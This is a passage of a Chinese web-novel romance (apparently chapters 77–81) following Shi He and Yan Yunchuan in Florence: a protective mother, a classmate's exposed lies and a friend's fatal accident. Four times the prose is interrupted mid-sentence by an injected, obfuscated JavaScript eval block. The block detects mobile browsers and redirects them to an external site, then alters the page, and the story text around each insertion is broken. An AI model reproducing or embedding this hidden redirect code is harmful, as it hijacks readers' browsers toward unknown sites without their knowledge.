时和一条腿盘坐在沙发上,另一条腿有一搭没一搭地晃着,彰显腿主人的开心。 他看了看时间,才七点半,便问宴云川:[起这么早?] 宴云川说:[生物钟习惯了。] 其实是生物钟还没调过来,他五点就醒了。 时和想到宴云川平时去网吧也很早,便接受了生物钟的说法。他看见宴云川又问了一遍刷好感的事,许是心情太好,他回复都带着飘。 [刷她儿子的也可以。]时和说。 [我妈出门了,我中午没有午饭。] 结果十一点,濯清回来了。 人从极度开心的状态转为失望,会比正常的失望反应更大。 时和看着濯清风风火火地放下包钻进厨房,怔愣了好一会才跟上去问:“您不是说不回么?” 濯清系上围裙:“忙完了就回来了。”见时和眼皮都垂上了,濯清逗趣问:“怎么?不希望妈妈回来?想去小川家里蹭饭啊?” 时和差点说了“嗯”。 “哪能呢。”时和扬着要笑不笑的脸对濯清说了句,又问:“下午还要忙么?” 时和那点欲望全写在脸上了。濯清看了看自家儿子,叹气说:“宝贝,想找小川玩?” 从小到大,时和很少去别人家串门。因为濯清总说去别人家里会给人添麻烦。再加上他朋友少,除了幼儿园有几个玩伴,越大越没了朋友,所以也省了串门这个动作。 他不知道所谓的“玩”在不在串门行列,濯清会不会觉得他给宴云川添了麻烦。可他还是点了点头:“嗯。” “万一小川要出门怎么办?”濯清一开口,就把问题定义到了麻烦的范围。 时和想也不想就说:“不会的。” “你怎么知道?”濯清问。 时和心说:宴云川还在等他的“午饭”。 “我早上问过了。”时和看着濯清。 濯清也看了时和几眼。想到医生建议让他多跟朋友接触,最后才妥协说:“你再问问小川要不要出门,如果方便的话,可以让小川下来玩,顺便在家里吃个午饭。” 对于这样的结果,时和不太满意,可濯清已经埋头进了厨房,俨然不准备跟他进一步讨论。 不知怎的,时和总觉得濯清在怕什么。从出国那会他就觉得了,宴云川的出现加重了他的猜想:就好像……怕他离开视线,怕他好起来。 可是怎么会呢。 ** “伯母是太孤独了。”宴云川是这么分析的,“半年前也会这样吗?” 时和回想着半年前的濯清,虽然也会对他脱离轨道的计划颇有微词,对他去哪管控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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濯清抽着纸,边擦桌子边问时和怎么了。时和支支吾吾看了眼宴云川,罪魁祸首正在关切地问他:“学弟是吃得急了,被呛着了么?” 时和盯着宴云川眼尾的笑意,抿着唇,僵硬地点了点头。 坐下后,他用眼神给宴云川抛了个:再笑! 宴云川眉头一挑,也没收住嘴边的笑容。 时和自闭了。 客厅四个摄像头来回转着,却独独错过了桌下一隅,让两个人有了些许喘息。 眨眼到了周一,两个人“牛郎织女”的情况才有所好转。因为濯清忙得脚不离地了。 时和向濯清申请了两个小时去楼上的游戏时间,而游戏才刚打开,队伍还没进上,他们就开始了上次没完成的任务。 这次宴云川什么也没问,一只手箍着脖颈一路往下,亲着时和耳垂。 时和感觉自己像一只淹了罂粟的金鱼,意识越来越涣散,只能翻着肚皮仍由玻璃器皿外的人上下其手。到后来,他像个蘑菇云一样炸开了。 78.Chapter·导游 榕城,星络网吧——九月开学季,网吧人流相比暑假骤减。只是有宴云川这个活招牌在,人流再少,也比去年开学多很多。 榕大下周开学,校篮提前一周开启了“友谊赛”的准备。沈停去训练了,林朔野代他的班。 其实网吧现在人手足够,林朔野和沈停完全可以回去享受一周的悠闲时光。可两人都不想回家,就不约而同地留了下来。 网吧前台,林朔野坐在电脑前听着单身在耳机里散发寻人启事:“你哥和见儿呢?我眼睁睁看着这两人上线,私聊私聊不回,人也不进队!” 林朔野心不在焉地点开游戏,往好友列表随便一拉,看见两个亮着的头像就回单身:“这不在线呢,你眼睛不好就去治治。” 单身“啧”一道:“号在人不在,懂不?” 林朔野正烦着,不想懂。 单身又问:“我听说你哥追着见儿去意大利旅游去了,真的假的?” 林朔野边打字边敷衍地“昂”一声。 单身长叹一气:“我说川老板这样我很难帮忙澄清啊。谁家师父追着徒弟出国旅游的?” 林朔野这才有了点反应。 他对单身超长反射弧还没走到尽头这件事有点无语,沉默了几秒,没好气说道:“老单,我错了,我不该让你治眼睛。” 单身正欣慰,林朔野又说:“要不我给你挂个脑科吧!我给你报销医药费。记得走医保,我刷我哥的账户,包治好的!” 说话间,微信置顶的头像亮出一个红圈。林朔野眉头一皱,不情不愿点开,“啧”了一声。 发微信的是他妈,也就是宴云川姑姑,宴泞。微信从早上发到现在,话题从“你给我滚回家”聊到了“成天待在网吧跟一些不三不四的人混在一起”。至于那“不三”和“不四”是谁,林朔野用脚板都能拼出宴云川和沈停的名字。 他在心里嗤笑一声,噼里啪啦一顿打字道:[你们只顾着赚钱不着家的时候是我哥照顾我,是他给我煮饭带我看病,是他给我补课,我惹事了也是他帮我解决。] [你们不是经常让我向我哥学习吗。怎么,现在我哥没有成为你们梦想中的人物了,你们就说他是不三不四的人,让我远离他。] [既然这样,你们就把我当不五吧!] 感叹号刚打完,宴泞气急败坏地来了电话。林朔野豪迈把电话挂了。 电话响了三遍,他挂了三遍。正防卫着第四遍,宴泞发来消息:[动不动你哥你哥你哥!林朔野!你别被你哥带魔症了!你哥要是真那么能耐,那破网吧现在是这破样吗!] 收银台安静的连呼吸声都消失了。 网吧新来一网管叫陆湛。自从他知道林朔野就是那个散财博主尹川,瞬间化身迷弟,林朔野指哪他打哪,久而久之练就了两人独有的默契。 这会他刚送完一轮餐,正往收银台走,老远察觉收银台阴气森森,一摸鼻尖转身就跑了。 如果说陆湛对林朔野的迷恋程度是一级,那林朔野对宴云川就是十级。他见不得有人说宴云川不好,自家母亲也不行。 宴泞还在发着消息:[别逼我去网吧抓人!] 林朔野回:[行啊,海城来榕城开车六小时,你之前怎么说的?分分钟十万上下!你一来一回都上千万了,你舍得吗!] 给宴泞气的好半天没回信息。 [再说了,]林朔野看着收银台正前方贴的充值活动,又看向游戏区正在连麦陪玩的玩家,最后看向陆湛的方向。他趁热打铁又发一句,[我哥现在已经找到路了,网吧会越来越好的。] 话落,宴云川发来信息:[刚才有点事。] ** 另一头,佛罗伦萨。房间刚结束一轮云雨,空气中还氤氲着湿热和潮湿。飘窗掀开,阳光静静洒在略微凌乱的被单上。 宴云川从洗手台走出来,水珠未干,顺着指尖流到屏幕一句“禽兽”上。 林朔野:[四十分钟!哥,你禽兽啊!宝贝儿那可是祖国未来的花朵!] 屏幕边的水珠一个用力,砸进了地毯里。 一般来说,正大光明的都是开玩笑。熟知玩笑为真的宴云川轻咳一声,听着洗手间传来的细微水声,打字回:[把你电脑那些资源删了,省的祸害祖国未来的残花败柳。] 发完这句话,宴云川退出列表,看见单身半小时前发起的副本邀请。 他回了个:[明天打。]又切到月下那边。 月下发来六张图片,附赠一句:[你要的资料都查到了,跟你猜的八九不离十。] 末了还补充道:[我可以用校园论坛发。] 图片第一张是苍城大学的奖学金机制。宴云川正准备细看,桌上手机响了起来。 来电显示濯清。宴云川瞥了一眼,当即拿着手机就去敲浴室的门。 浴室里,时和给自己浇了十分钟的冷水,才勉强浇灭那颗险些跟他分离的心脏。正擦着头发猛地听见敲门声,好不容易平复的心跳又爬了上来。 他抓着毛巾,磕绊问道:“怎、怎么了!” 门外的人单刀直入:“伯母电话。” 听见是濯清,时和心跳更快了。顾不上裸.露的上半身,直接开了门。 门半开半合,时和白皙的小腹和未擦干的水渍就这么措不及防跳进了宴云川眼睛里。 瞥见宴云川一愣的动作和火热又闪躲的眼神,时和这才发现自己上衣没穿。只听砰一声,时和猛地拍了门。不出两秒,他又打开一条缝,裹着寒气从宴云川手里抽走了手机。 宴云川看着消失的手臂,摸了摸鼻尖,转身找来一条崭新的毛巾。 “喂……嗯,我在宴云川这……我看着时间了……咳、吃了才上来的……”时和接着电话从浴室里出来,看见宴云川的手下意识躲了一下,脖子泛起了红,说话也有些发虚。 房间残留的旖旎之气未散,呼吸间都在提醒时和刚才发生的一切。他看着宴云川走上前,控制不住地腿软。 倏地,濯清在电话里问:“什么味儿?” 时和以为濯清闻见了房间里的味道,目光扫过角落的塑料瓶就接:“除臭剂!” 结果,顾泽宸在那边说:“金漆,这批金漆质感不行,早上跟皮特沟通好了,换一批” 时和劫后余生地瘫坐在了椅子上。 宴云川通过时和表情和那声除臭剂拼凑出大概剧情,他失笑走上前,用手机打了句:[宝贝儿,伯母闻不到。]又眼睁睁看着时和脖子的红晕以迅雷之势蔓延到耳后。 濯清许是听见了那声除臭剂,接过话题问时和:“是小川房间除臭剂味道太刺么?” 时和心虚“嗯”了一声。 他听着濯清在电话里说:“除臭剂味道太大也不行,妈妈明天给小川送两瓶无味的。”正想回话,一条毛巾冷不防搭在了他的头上。 毛巾扫过脖颈,时和抖了一下,不自觉想缩,又被一双手捏了后颈。他险些没忍住声,最后硬生生掐着大腿憋了回去。 时和从毛巾里抬出一双眼睛看向宴云川。一抬眼,就看见手机里的一排字:[帮你擦头发。] 濯清还在电话里交代着不要玩超时,说中午回不来,家政会上门做饭,午饭记得按时吃,又说不要给小川添麻烦。 柔和的毛巾一下又一下地抚过头顶,依稀还能感受到宴云川指尖的温度。 到最后,时和心思已经不在电话上了。他听着濯清说话,用单音节回着。 直到通话结束前,濯清问:“小川不是来旅游的么?打算去哪玩?有安排了么,没有的话妈妈可以给小川安排一个导游。” 时和怔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213878|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,想也没想就说:“不用了。” 他不想宴云川出门,也不想有人在宴云川身边。 等头发擦干,电话刚好结束。宴云川发现时和有些奇怪,好几次欲言又止。他试探地引了几次话题,得到的只有几个摇头和两句“没事”。 猜到大概跟电话有关系。追问不出结果,宴云川索性换了一个话题:“还记得纪帆么?” 时和腿肚绷了一下,心说怎么可能忘记。 知道宴云川不会忽然提起纪帆。时和望过去,就见宴云川走到桌边,拿过电脑点开了一张图片。图片里,纪帆的半身照印在右上角,顶上写着:苍城大学教务系统。 他不知道宴云川哪来的纪帆成绩,只是顺着宴云川眼神示意往下滑。 图片下一张,显示纪帆课程平均绩点2.4分——苍城大学奖学金需要平时成绩、课程绩点两项大于3.5分,并且发表至少一篇学术论文才能获得——而纪帆发表论文一栏为空。 但纪帆对外都说……说他论文已经发表了。 “很奇怪对吗,”宴云川坐在时和对面,“我问了月下苍大平均绩点计算逻辑。绩点低于2.5分,说明期考成绩和平时成绩都不合格。也就意味着——” 时和知道,意味着事实根本不像纪帆所说,因为那封举报信影响了他的奖学金评选。哪怕没有举报信,纪帆也达不到苍大奖学金要求。 “可……” 可是,纪帆为什么要骗人呢……为什么要费尽心思编织一个谎言,让所有人都走进谎言之中,抨击他、责备他、甚至远离他。 明明刚进宿舍那会,纪帆是第一个主动跟他打招呼的。 “为什么呢……”时和像是胸口塞了一团棉花,顺不来气,反而直喘。 宴云川拍着他后背,眼里划过一丝不忍心,又像是坚定想让时和知道真相一样说:“为了给自己的失败找个借口。把所有的事怪在你和伯母身上,就可以抹去他的失败,他整一学期的不学无术。”仅仅是因为这样而已。 ** 后来,这几张成绩表出现在了苍大的校园论坛里,月下引用了曾经林朔野发的关于谁出卖了时和的论坛贴,就差点名道姓。 开学的论坛本就热闹,这个帖子热度很快超过了新生扩列贴,荣登论坛第一。 在一堆匿名评论里出现了一条“实名制”回复,第一句话便是——我是时和。 【关于半年前的事我想澄清两点: 第一:去酒吧这件事不是我母亲举报的。 第二—— 尊重母亲不等于“妈宝”。】 再次把“纪帆”这个名字顶到了风口浪尖。 曾经引导舆论的终究遭受了舆论反噬。自那天后,生活依旧重复,只是有了宴云川,重复的生活里偶尔会有一些意外。 譬如宴云川不知道从哪弄来了一套古早DVD和游戏手柄,两人坐在地上玩了几天的马里奥,只为哄时和开心。 又譬如宴云川成为了家里固定的“饭客”,每次来都会给濯清带一两件礼物。礼物都是时和精挑细选选出来的,这期间刷了不少好感。 到最后,家里做饭的人从濯清变成了宴云川,时和这才发现宴云川烧得一手好菜,甚至什么菜系都会,又刷了一波好感。 日子就这样阴晴雨落的过去,这栋房子承载了两个人所有的秘密和欢乐。可自古好物不坚牢,时间永远抓不住。 这天吃饭的时候,濯清突然问宴云川:“是下周回榕城么?” 打破了时和堪堪维持的平衡。 时和发现自己已经习惯了宴云川在的日子,甚至觉得日子就该这样过,以至于他意识到宴云川要离开时,当晚就失眠了。 到了后半夜,他给宴云川发去信息:[我们明天出门吧,我做你的导游。] 79.Chapter·当年 宴云川看见消息已经是第二天了。在佛罗伦萨这段日子他的作息意外规律,几乎随着时和的作息同步。他看见消息的第一眼就知道时和受了白天濯清聊天的影响,想补偿他。 而宴云川知道,让一个罹患心理障碍的人离开他所在的“安全屋”需要多大的勇气。所以他没拒绝时和,只是提醒:[宝贝儿,佛罗伦萨是旅游城市。]想提醒时和,外面的人很多。 消息发出去,聊天框顶上立马出现了正在输入中,好像等了一晚上终于有了落脚点一样。正在输入的提醒一下出现一下消失,传递着纠结。 宴云川翻了个身,打字道:[佛罗伦萨我来过,这次只想陪你。]言外之意不用出门也可以。 这句话一进屏幕里,正在输入中就消失了。宴云川等了一会,起身准备洗漱。 走到洗手台,时和终于发来信息:[宴云川,我想覆盖你曾经在佛罗伦萨的记忆,可以吗?] 宴云川看着这句话,认真回道:[随时欢迎。] ** 今天是工作日,濯清一早就没了影子。敲定好出门时间,时和给濯清打去电话报备。 原以为出门这样“勇于尝试”又能改善病情的好事濯清会兴高采烈的答应,结果,濯清听说时和要出门第一句话却是:“不行!” 时和不理解:“为什么?” 电话里的声音顿了顿,似乎自己也没想好答案。等到时和说:“宴云川后天就回榕城了,我之前答应了给他做导游的。”濯清才找到理由。 “宝贝,你自己都没出过门怎么做导游啊?”濯清在电话里说,“再说你的——”她想说“你的病”,又担心时和对这个词敏感。 最后,濯清说道:“如果小川需要,妈妈可以找专业的导游团队、或者1V1导游服务。” 话音刚落,时和立马否决:“不行!” 否决声音太快,濯清似乎没想到自家儿子会说“不”,反应了十几秒才问:“理由。” 母子两人隔着电话陷入了“为什么”的漩涡,就跟旁边架着几台摄影机要演琼瑶剧似的有来有回。先是时和说:“不能言而无信。”又是濯清反驳:“怎么算失信?就结果而言,妈妈安排的导游比你带着小川闷头转向更好,不是吗?” 涉及宴云川,时和脑子总是特别灵光。 “那不一样!”时和说道。他拿出濯清平时教导的“待客礼仪”来回怼濯清,“妈,宴云川是我约来的,把他托管给一个陌生人,说出去……说出去别人还得说我不懂礼貌。” 其实时和想说“会让人诟病”,又觉得有旧事重提的嫌疑,辗转了才变成“礼貌”。 不过这样也够用了,濯清果然没了声音。 时和知道这是有得谈的意思。他打铁趁热说:“我带着手表,手表设置了心率报警,手机也开了定位,保证半小时给您发一次位置信息。” 没等濯清说话,他又软下声喊,“妈,我也想看看佛罗伦萨,过段时间回榕城,下一次指不定什么时候了。您就让我去吧。”末尾还加上一颗定心丸,“有宴云川在您还不放心吗?”一套组合拳打下来,成功打散了濯清的强硬。 至少时和是这么认为的。 电话那边良久没了声音,时和又试探着喊了一声妈,濯清倏地问:“宝贝,很想回榕城吗?” 时和愣了一瞬,以为濯清这是要回去的意思,语调不自觉扬了起来:“当然想!” 电话那头又陷入了沉默,过了好一会,濯清才问:“准备玩多久?” 时和没反应过来。 濯清又问:“跟小川准备玩多久?” 时和赶紧说:“午饭前回来可以吗?” 濯清:“具体时间。” 时和看了眼手表,现在不到八点,家政通常十一点来做饭,十一点半吃午餐。他估摸了一个濯清可能同意的时间:“十点半回来。” “妈……”时和又喊了一声。 濯清叹了叹气,还是同意了。挂电话前她不放心地叮嘱:“记得带上药,身份证在妈妈房间抽屉里,再带上医疗卡,还有水杯。今天天气凉,出门带件外套。” 时和以为到此结束了,手机还没放下濯清又来一句:“对了,顾叔电话你背下来了吗?” 等到他把濯清和顾泽宸电话倒背了一遍,濯清想不出其他问题,才勉为其难地挂了电话。 电话一挂,时和就冲进房间用飞快的速度换好了衣服,抓上书包,卡着约定时间出现在了宴云川房间门口。 宴云川正好开门,两人撞在了一块。 宴云川扶了扶险些没站稳的人:“伯母同意了?” 时和藏不住兴奋地点点头。 不知怎的,同样是出门,同濯清出门的那天时和还带着心慌,见到人就想躲,可今天他只想快点儿拉着宴云川离开这栋公寓,门还没出就构造了一趟美好的旅行。 ** 今天的佛罗伦萨天高气爽。虽然是旅游城市,可八点对于这座城市来说就像榕城的清晨。街上零星走着几个背包客,三两单车穿梭在街道之间。 只是这里没有榕树,没有任何熟悉的街道,放眼望去所有的建筑近乎对称,一片暖橘。 而且濯清说的不对,这座城市根本用不着“出过门的导游”。因为这里的每一个建筑、每一个雕像都是故事。 托时熵在家里“日说夜念”的福,时和对这里大部分的建筑和雕像都能叫上个名儿,比较出名的几个还能做个介绍。只是他眼神不敢张望,只能介绍直线范围内的建筑。 他说,宴云川就认真听着,偶尔做个补充。 两人像在这座城市生活多年一样默契地往前走,没有目的,也不迷茫。 走到广场,人逐渐多了起来。行人里偶见三两情侣,他们牵手搭背,或者互相分享对方的早餐,还有两对坐在河边接吻。 时和看着眼热,好几次想把手伸给宴云川,又因为周围“炽热”的眼神望而却步。 他发现他在和宴云川两个人的世界里待了太久,忘了外面的世界不是他们的。他们不能像正常情侣那样牵手,在大庭广众之下接吻,拥抱。 想到这一点,时和忽然又想回去了。 冲动的想法刚上来,目光范围内倏地冲出一对勾肩搭背的男生。两人打闹着停在一家关门的商店门口,其中一个男生很是亲昵的把搁在另一个男生肩窝里,像极了情侣。 再然后,男生身后走来一个短发女生,径直朝肩窝里的人接了个吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227950|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人挽在一起,又朝他的方向望过来,眉飞色舞,好像看穿了他和宴云川的关系似的,目光带着嘲弄,眉飞色舞,嘴里不知道说些什么。 是在议论他和宴云川吗? 还是在议论他? 无论哪一种,都不是时和想要的。 “宴——”时和刚想说,宴云川,我们回去吧。他们身后猛地跑过一名拿着气球的男生。男生有些胖,跑起来左右摇摆。他跑到三人中央,印着生日快乐的气球随着手上动作微微摇晃。那些嘲弄、议论的目光也随之消失了。 意识到是自己想多了,时和松了口气。正想继续走,肩上忽然一重。宴云川的手臂直晃晃地搭了上来。他僵直了背。 “亲爱的,”宴云川像刚才那个男生一样窝在他的肩窝里,小声说,“男生和男生可以做的事很多,他们可以牵手,可以搭肩,其实在佛罗伦萨接吻也可以,这里很多属于我们的角落。” 时和已经紧张到没有情绪了,又因为这句“亲爱的”而心颤。 “你看那边,”宴云川指了一个方向。时和望过去,那儿有两个男生同样搭着肩。 而后,宴云川倏地在耳边说:“没有人看我们,只有我看你。” 时和不知道自己是怎么往下走的,好像遇见宴云川之后就有很多次的“解离”,那是一种全心全意相信这个人的“解离”,直到视线范围内再次出现那个“生日快乐”的气球。 应该是女生生日,她被一群人簇拥在中央,像抛花瓣一样朝外边撒着糖果。糖果有的被行人接住,送上一句祝福,有的掉落在地上。 像这样的热闹时和向来是不参与的,可今天,他看着那个生日快乐的气球却没有离开。 就这样一个快乐的氛围,时和突然想到宴云川的生日。那个因为他的情绪而搞砸的生日。 “宴云川。”时和喊了一声。 现在回想起来,他甚至分不清是那天晚上是发病了还是酒精作祟,只感觉不像自己了。 “对不起。”他思绪跳跃地说道。 宴云川不知道时和怎么忽然道歉,他顺着时和眼神望过去,看见那个气球有了答案。 “告诉你一个秘密。”他说。 见时和瞥过眼神,宴云川继续说:“那天不是我的生日。” 时和猛地抬起了头:“可是——” “沈停乱说的,为了让伯母放人。” 这样的解释也的确说得通。 这么一来,想到那天晚上自己的一举一动,时和口罩下的脸都红透了。 他又想到宴云川庄园密码。 “是五月七吗?”时和问。 宴云川摇摇头:“四月份,四月十六。” “那……” 那五月七是什么日子? 时和没问出口,直觉告诉他,这并不是一个值得问的话题。 可宴云川还是听见了。 “还记得我说,来到佛罗伦萨我就告诉你两年前发生的事么。”宴云川问。 时和没说话。其实经过了这么些时间,他已经不想知道当年的事了。如果这块疤揭开会鲜血淋漓,那他宁愿一直看着。 但宴云川却说:“五月七日,是凌岳去世的那天。他是我害死的。” 80.Chapter·未来 那天是个艳阳高照的好天气,榕城即将入夏,天空万里无云,碧空如洗。宴云川到现在都记得凌岳出事的时间,中午一点二十七分。交警记录的时间。一辆加速的货车和凌岳的汽车在马路中央相撞,交通事故判定凌岳闯了红灯。 所有人都说凌岳是因为开车途中接打电话,注意力不集中才出的事故。可宴云川始终认定,是因为他凌岳出发前说:“我的项目是下午第一个,晚上请你吃饭。” 那天,他参与的一个项目要进行招标演讲,一旦成功,项目就能跟公司合作发行。 可前一天晚上,他接到凌岳通宵刷分的邀请,他去了,把U盘落在了网吧。 月下说:“凌岳前一晚跟家里吵架,最后一通电话也是跟他家里打的,他们在电话里吵起来才闯的红灯,跟你没有关系。” 但“吵起来”只是月下的猜测,没有证据。 林朔野说:“凌岳哥跟家里关系本来就不好,他父母好几次来网吧闹,大家都知道!” 沈停也宽慰他:“出事的路口就在学校旁边,距离演讲时间还有一个钟,凌岳学长犯不着为了一段五分钟不到的路闯红灯。” 但这些宽慰都像事后的找补,并没有宽了宴云川的心。他开始整夜整夜做噩梦,闭上眼都是凌岳倒在血泊里的那张脸。 直到最后,他去看了心理医生。 “你知道吗,我第一次见你不是在网吧那天。是在心理医院,那天也是五月七日。” “时和,”两人走到河边找了块干净的石墩坐下,宴云川看着河面,平静地说,“还记得你送给我的那一枚耶梦加得吗?” 时和一直在听宴云川“讲故事”,所以当宴云川喊他的时候,他人还处于对当年事情以及初遇时间的震惊之中。等到宴云川垂眸说:“继续走吧。”时和才猛地跟了上去。 “我记得!那是我给你带的礼物,我精挑细选的,因为它属于我!”时和连贯地说,声音很急,顾不上周围偶尔投过来的目光。好在加速的中文依旧是加密语言,周围人似乎没听懂。 时和很想问为什么会去看心理医生,但是他知道一个心理疾病的患者不能反复揭开伤疤。 他其实后悔了,后悔来佛罗伦萨前说出那句“想知道”。 不过,从飞机落地那一刻,宴云川就没想逃避当年的事,只是宴云川找不到合适的切口,所以一直在等着时和主动问。 压在心底两年的秘密终于有了倾听者,宴云川本以为自己会说不下去,不知道是因为倾诉对象的原因,还是自己本来就想找人“宣泄”。 宴云川很自然地说:“我当年做的游戏跟北欧神话有关,在北欧神话里,耶梦加得象征循环。拆开礼物的那天我就在想,这一切都太巧了。” “现在那个游戏呢……” “还在U盘里。” “时和,在你身上发生的一切太像凌岳了。我跟凌岳也是因为游戏里的一场意外认识的,而我差点成了他的徒弟。只是我那时候心高气傲,觉得自己能力不比他差,最后才没有拜师。”宴云川垂眸,深呼吸,“我害怕,你知道吗。我害怕有一天你会和凌岳一样,因为我而出事,我会疯掉。” 这是时和第一次听见宴云川这样的声音,小心翼翼地好像他是什么易碎品。他突然意识到,原来宴云川跟濯清一样,都不是无所不能的。 这样的宴云川让时和心揪了起来。时和说不出“没事的”,也做不到让宴云川“都过去了”。他感到很无力,为自己甚至算不上一个“旁观者”而感到无力。 时和眼睛红了:“所以,那天晚上,你以为我出事了对吗?” 他用肯定语气问宴云川,得到了同样的肯定:“嗯。” 宴云川承认的刹那,一股力道从背后环住了他。力道在一声对不起中收缩,紧接着,颈窝传来淡淡的温热。像是眼泪。 火车离开轨道会怎么样。时和突然想到这句话。他问道:“宴云川,你知道耶梦加得还有另一层含义吗。” 两个男生——还是两个耀眼的男生——大庭广众之下亲昵的抱在一起,很容易引起路人的注目。宴云川看见有人拍照,侧了侧目光,那人又收起了手机,还吹了个哨。 “不知道。”宴云川对身后的人说。 时和没松手:“耶梦加得还象征重生。” “我不会出事,我保证,我会一直陪着你。” 哪怕这样的保证比没有证据的猜测更加苍白,宴云川还是放在了心上。 因为时和说的太认真了。 “时和,其实我最开始根本不在乎网吧能不能盈利,我只要它‘活着’,没想过它的未来。” “现在呢。” “现在——” 宴云川正想回答,不远处一个男人用中文叫了一声:“小和!”叫走了后背所有温度。 结果,男人是在叫雕像旁边的一个小男孩,他也叫“小和”。 意识到不是顾泽宸,时和慌了,连看着宴云川,生怕从宴云川眼里看见失望。 还好,宴云川的眼睛里只有一丝笑意。笑意裹挟着玩笑问时和:“还想抱吗,我换个地方。” 时和红着耳垂,郑重思考一番,点了点头。 宴云川没想到时和会点头,他本意只想逗逗人,驱散一下时和的不安和低落。所以,当时和“要抱”的时候,宴云川脚步顿了一下。 时和这才意识到宴云川在逗他,不过也没“生气”。因为他现在只想哄宴云川开心。 不过,接下来的一路两人都保持了默契的距离,为了防止真的顾泽宸突然出现。 虽然濯清说她今天得去乡下一个小镇。 “我带你去个地方。”宴云川说。 走在路上,时和忍了忍,确认想要的问题不会戳宴云川伤疤,他又问:“现在呢?” 宴云川撇过头,又看了看天空,说道:“现在我希望网吧有个配得上你的未来。” 时和,是你让我想要争取另一种活法。宴云川在心里说。 然后,时和纠正他的话:“是我们的未来。”非常严肃,严肃到宴云川忍不住笑了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241597|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声越来越深,在街上荡了一路,直到荡到一个野猪雕像面前,宴云川才说:“到了。” 宴云川笑意未散,盯着上扬的眼尾问时和:“信玄学吗?” 时和疑惑看了他一眼。 宴云川解释:“这个雕像有一个当地传说,可以在雕像嘴里放一枚硬币,如果硬币掉下来,说明你和佛罗伦萨缘分未尽。” “挺扯的对不对?”宴云川从钱夹里拿出两枚硬币,递给时和一枚,“这个雕像嘴巴是斜的,按理说怎么都会掉下来。” “可是你看,雕像牙齿里还能卡住硬币,而且,上一次我来的时候硬币掉下来了。” 话音刚落,时·冲动派·和直接把硬币塞了进去。硬币成功躲开一排牙齿,掉进了水槽里。 就当时和觉得这是什么载客新手法,为了骗来访者一欧元时,宴云川把硬币丢了进去。硬币顺着舌头慢慢下滑,卡在了牙齿边缘。 不知怎的,时和心漏了一拍,总感觉这在预示什么,就像电视剧里两个人抽签抽出不一样的结果,最后走向了不一样的结局似的。 他茫然地看着宴云川。忽然,叮一声闷响,硬币在齿间晃了几下,还是掉了下去。 时和满意了。 宴云川看得失笑。 “要摸摸鼻子吗。”宴云川问。 时和不知道这又是什么说法,不过这个雕像的鼻子的确被摸得油光蹭亮的。 他等着宴云川“解说”,等到宴云川说:“听说摸一下会带来好运。”向来崇尚科学的时和啪一下把手拍了过去。 身侧传来几声闷笑。顶着时和威胁的眼神,宴云川也把手放了上去。 两人完成这一系列“愚蠢的举动”继续往前走。好在时间尚早,周围人不算很多,加上来雕像许愿的行为很正常,也没引起多大关注。 时和因为脸热走在前面,没发现宴云川给他拍了一张照片。 临近九点,街道终于有零星商铺开门。宴云川还没吃早餐。两人走到一家三明治店,因为店里有客人,时和就在门边的遮阳伞下等宴云川。 等宴云川出来的时候,发现有两个女生正在同时和搭讪。看举着手机的模样,应该是要通讯方式。他看着时和无措地站在原地,三两步走上去,果然听见一个女生用美式英文说:“嘿,我知道有点突然,但我觉得你超酷!你玩Facebook还是INS?推特也可以!” 时和已经紧张的两耳失聪了。 两个女生见时和一直不说话,互相看了一眼,嘴里不知道说着什么。就见宴云川提溜着三明治揽了一下时和的肩。 时和终于有了动静。 宴云川对两个女生说:“不好意思,我男朋友听不懂英文。” 两女生听见“男朋友”这个词,惊讶喊了一声“WHAT”,觉得两个人更酷了。 最后,女生还是加了时和和宴云川一个微信,并且保证不会告诉任何人才离开。 等宴云川准备带人离开时,身后忽然传来一道男声,声音很有目标性地喊了句:“崽崽。” 81.Chapter·需要 佛罗伦萨的商铺大多有露天座位,此时一张方桌上呈现了天下三分的紧张。时和坐在方桌东面,宴云川和突然出现的男子一北一南坐着。 时和咽了咽喉咙:“爸。” 这一声爸叫的饶是平日里泰山在前面不改色的宴云川也有点没有绷住。宴云川太阳穴狠狠地跳了几下,轻咳一声:“我去买几杯咖啡。”一来想让时和跟父亲交流交流,二来想给自己做个心理建设。 